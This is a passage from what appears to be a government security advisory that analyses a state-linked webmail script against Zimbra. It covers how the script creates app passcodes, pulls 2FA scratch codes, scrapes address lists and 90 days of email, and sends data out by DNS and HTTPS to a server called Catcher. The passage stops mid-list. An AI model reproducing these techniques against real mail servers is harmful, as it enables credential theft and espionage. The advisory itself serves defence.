      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
